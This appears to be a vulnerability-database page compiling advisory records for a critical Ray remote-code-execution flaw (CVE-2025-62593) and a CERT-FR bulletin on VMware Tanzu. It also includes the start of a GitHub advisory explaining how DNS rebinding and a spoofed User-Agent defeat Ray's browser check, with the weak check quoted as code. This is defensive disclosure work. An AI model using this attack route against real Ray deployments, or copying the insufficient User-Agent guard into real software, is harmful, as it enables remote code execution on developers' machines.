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CVE-2025-62593 (GCVE-0-2025-62593)
Vulnerability from cvelistv5 – Published: 2025-11-26 22:28 – Updated: 2025-11-28 18:22| URL | Tags |
|---|---|
| https://github.com/ray-project/ray/security/advis… | x_refsource_CONFIRM |
| https://github.com/ray-project/ray/commit/70e7c72… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| ray-project | ray |
Affected:
< 2.52.0
|
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"advisory": "GHSA-q279-jhrf-cc6v",
"discovery": "UNKNOWN"
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"date": "2026-07-05",
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"percentile": "0.25748"
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"vulnrichment": {
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CERTFR-2025-AVI-1138
Vulnerability from certfr_avis - Published: 2025-12-26 - Updated: 2025-12-26
De multiples vulnérabilités ont été découvertes dans VMware Tanzu Platform. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| VMware | Tanzu Platform | AI Services pour Tanzu Platform versions antérieures à 10.3.2 |
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "AI Services pour Tanzu Platform versions ant\u00e9rieures \u00e0 10.3.2",
"product": {
"name": "Tanzu Platform",
"vendor": {
"name": "VMware",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2025-62727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62727"
},
{
"name": "CVE-2025-58183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
},
{
"name": "CVE-2025-0913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
},
{
"name": "CVE-2025-47907",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
},
{
"name": "CVE-2025-58185",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
},
{
"name": "CVE-2025-62426",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62426"
},
{
"name": "CVE-2025-61727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
},
{
"name": "CVE-2025-62372",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62372"
},
{
"name": "CVE-2025-47910",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47910"
},
{
"name": "CVE-2025-47906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
},
{
"name": "CVE-2025-31133",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-31133"
},
{
"name": "CVE-2025-58188",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
},
{
"name": "CVE-2025-4674",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
},
{
"name": "CVE-2022-29526",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29526"
},
{
"name": "CVE-2025-62164",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62164"
},
{
"name": "CVE-2025-52881",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-52881"
},
{
"name": "CVE-2025-61724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
},
{
"name": "CVE-2025-66448",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66448"
},
{
"name": "CVE-2025-61723",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
},
{
"name": "CVE-2024-45337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
},
{
"name": "CVE-2024-7254",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7254"
},
{
"name": "CVE-2025-61725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
},
{
"name": "CVE-2025-22874",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
},
{
"name": "CVE-2025-47912",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
},
{
"name": "CVE-2025-52565",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-52565"
},
{
"name": "CVE-2025-34351",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-34351"
},
{
"name": "CVE-2025-58186",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
},
{
"name": "CVE-2025-58187",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
},
{
"name": "CVE-2025-4673",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
},
{
"name": "CVE-2025-22869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
},
{
"name": "CVE-2025-58189",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
},
{
"name": "CVE-2023-48022",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-48022"
},
{
"name": "CVE-2025-48924",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
},
{
"name": "CVE-2025-62593",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62593"
},
{
"name": "CVE-2025-61729",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
}
],
"initial_release_date": "2025-12-26T00:00:00",
"last_revision_date": "2025-12-26T00:00:00",
"links": [],
"reference": "CERTFR-2025-AVI-1138",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2025-12-26T00:00:00.000000"
}
],
"risks": [
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans VMware Tanzu Platform. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans VMware Tanzu Platform",
"vendor_advisories": [
{
"published_at": "2025-12-25",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 36640",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36640"
}
]
}
CERTFR-2025-AVI-1138
Vulnerability from certfr_avis - Published: 2025-12-26 - Updated: 2025-12-26
De multiples vulnérabilités ont été découvertes dans VMware Tanzu Platform. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| VMware | Tanzu Platform | AI Services pour Tanzu Platform versions antérieures à 10.3.2 |
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "AI Services pour Tanzu Platform versions ant\u00e9rieures \u00e0 10.3.2",
"product": {
"name": "Tanzu Platform",
"vendor": {
"name": "VMware",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2025-62727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62727"
},
{
"name": "CVE-2025-58183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
},
{
"name": "CVE-2025-0913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
},
{
"name": "CVE-2025-47907",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
},
{
"name": "CVE-2025-58185",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
},
{
"name": "CVE-2025-62426",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62426"
},
{
"name": "CVE-2025-61727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
},
{
"name": "CVE-2025-62372",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62372"
},
{
"name": "CVE-2025-47910",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47910"
},
{
"name": "CVE-2025-47906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
},
{
"name": "CVE-2025-31133",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-31133"
},
{
"name": "CVE-2025-58188",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
},
{
"name": "CVE-2025-4674",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
},
{
"name": "CVE-2022-29526",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29526"
},
{
"name": "CVE-2025-62164",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62164"
},
{
"name": "CVE-2025-52881",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-52881"
},
{
"name": "CVE-2025-61724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
},
{
"name": "CVE-2025-66448",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66448"
},
{
"name": "CVE-2025-61723",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
},
{
"name": "CVE-2024-45337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
},
{
"name": "CVE-2024-7254",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7254"
},
{
"name": "CVE-2025-61725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
},
{
"name": "CVE-2025-22874",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
},
{
"name": "CVE-2025-47912",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
},
{
"name": "CVE-2025-52565",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-52565"
},
{
"name": "CVE-2025-34351",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-34351"
},
{
"name": "CVE-2025-58186",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
},
{
"name": "CVE-2025-58187",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
},
{
"name": "CVE-2025-4673",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
},
{
"name": "CVE-2025-22869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
},
{
"name": "CVE-2025-58189",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
},
{
"name": "CVE-2023-48022",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-48022"
},
{
"name": "CVE-2025-48924",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
},
{
"name": "CVE-2025-62593",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62593"
},
{
"name": "CVE-2025-61729",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
}
],
"initial_release_date": "2025-12-26T00:00:00",
"last_revision_date": "2025-12-26T00:00:00",
"links": [],
"reference": "CERTFR-2025-AVI-1138",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2025-12-26T00:00:00.000000"
}
],
"risks": [
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans VMware Tanzu Platform. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans VMware Tanzu Platform",
"vendor_advisories": [
{
"published_at": "2025-12-25",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 36640",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36640"
}
]
}
{
"CVSS 2.0": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"CVSS 3.0": "AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"CVSS 4.0": "AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
"remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
"\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "Anyscale Inc",
"\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u0434\u043e 2.52.0 (Ray)",
"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09\nhttps://github.com/ray-project/ray/releases/tag/ray-2.52.0",
"\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "14.11.2025",
"\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "27.11.2025",
"\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "27.11.2025",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2025-14769",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2025-62593",
"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
"\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "Ray",
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0434\u043b\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 AI \u0438 Python Ray, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434",
"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u0432\u0435\u0440\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u0434\u0430 (\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430) (CWE-94), \u041c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u0430\u044f \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (CWE-352)",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0434\u043b\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 AI \u0438 Python Ray \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 User-Agent. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b Firefox \u0438 Safari",
"\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
"\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": "\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 DNS \u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0443.",
"\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
"\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044f, \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u043f\u0440\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438",
"\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v\nhttps://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09",
"\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
"\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
"\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-94, CWE-352",
"\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 10)\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 9,6)\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 4.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 9,4)"
}
FKIE_CVE-2025-62593
Vulnerability from fkie_nvd - Published: 2025-11-26 23:15 - Updated: 2026-06-17 09:52| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "ray",
"vendor": "ray-project",
"versions": [
{
"status": "affected",
"version": "\u003c 2.52.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Ray is an AI compute engine. Prior to version 2.52.0, developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string \"Mozilla\" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified. Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising). This issue has been patched in version 2.52.0."
}
],
"id": "CVE-2025-62593",
"lastModified": "2026-06-17T09:52:07.680",
"metrics": {
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-62593",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-11-28T18:21:16.960626Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-11-26T23:15:47.927",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-94"
},
{
"lang": "en",
"value": "CWE-352"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-Q279-JHRF-CC6V
Vulnerability from github – Published: 2025-11-26 19:35 – Updated: 2025-12-01 16:02Summary
Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.
Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/job_agent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.
This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.
Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).
Details
The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.
Current Mitigation Strategies
def is_browser_request(req: Request) -> bool:
"""Checks if a request is made by a browser like user agent.
This heuristic is very weak, but hard for a browser to bypass- eg,
fetch/xhr and friends cannot alter the user-agent, but requests made with
an http library can stumble into this if they choose to user a browser like
user agent.
"""
return req.headers["User-Agent"].startswith("Mozilla")
def deny_browser_requests() -> Callable:
"""Reject any requests that appear to be made by a browser"""
def decorator_factory(f: Callable) -> Callable:
@functools.wraps(f)
async def decorator(self, req: Request):
if is_browser_request(req):
return Response(
text="Browser requests not allowed",
status=aiohttp.web.HTTPMethodNotAllowed.status_code,
)
return await f(self, req)
return decorator
return decorator_factory
https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155
@aiohttp.web.middleware
async def browsers_no_post_put_middleware(self, request, handler):
if (
# A best effort test for browser traffic. All common browsers
# start with Mozilla at the time of writing.
dashboard_optional_utils.is_browser_request(request)
